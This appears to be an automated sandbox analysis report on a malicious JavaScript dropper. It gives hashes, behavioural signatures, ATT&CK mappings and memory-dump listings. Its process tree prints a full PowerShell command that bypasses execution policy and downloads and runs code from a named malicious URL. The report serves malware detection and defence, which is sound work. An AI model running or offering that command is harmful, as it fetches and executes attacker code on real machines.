26f21ada754233191d1980622136860a9f88723aa9254165e6eb0361817d856c

Analysis

max time kernel
120s
max time network
124s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
08/02/2024, 14:25

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General

Target
DCS7727723772772.js
Size 25KB
Sample240208-rrm15sed7x
SHA256 8603c3e9cbbf9629724d1d4299418be0d2ad7ce04ea8091fc0bead7430d21fbd
MD5 fa4c5428813c2612116ac59af1862bcb
SHA1 50f324f71e12473644eefa338b11dd347d713f68
SHA512 a770e57adc93505fbf7ccc4152ebc7985839e168770c16697f3b5d5f1ccd85ac5c1b641a7b407d53a727b2fcad33d123b930cc9ad13ba89c113c6809fbaccdb8
SSDEEP 768:MleSnV5r8Fi+tVxfS0fy8hghu28Iswykn5d0B/PK3py1XY4TgVzlqIDG3ZBoxPg0:eeaV5oIhzPRZxehtM
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://assime.ca/command.php

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2836	powershell.exe
6	2836	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2836	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2836	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1936 wrote to memory of 2836	1936	wscript.exe	28
PID 1936 wrote to memory of 2836	1936	wscript.exe	28
PID 1936 wrote to memory of 2836	1936	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\DCS7727723772772.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://assime.ca/command.php')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2836-4-0x000000001B0F0000-0x000000001B3D2000-memory.dmp

Download

memory/2836-5-0x0000000002590000-0x0000000002598000-memory.dmp

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memory/2836-6-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Download

memory/2836-7-0x00000000026C0000-0x0000000002740000-memory.dmp

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memory/2836-9-0x00000000026C0000-0x0000000002740000-memory.dmp

Download

memory/2836-8-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Download

memory/2836-10-0x00000000026C0000-0x0000000002740000-memory.dmp

Download

memory/2836-11-0x00000000026C0000-0x0000000002740000-memory.dmp

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memory/2836-12-0x00000000026C0000-0x0000000002740000-memory.dmp

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memory/2836-13-0x00000000026C0000-0x0000000002740000-memory.dmp

Download

memory/2836-14-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Download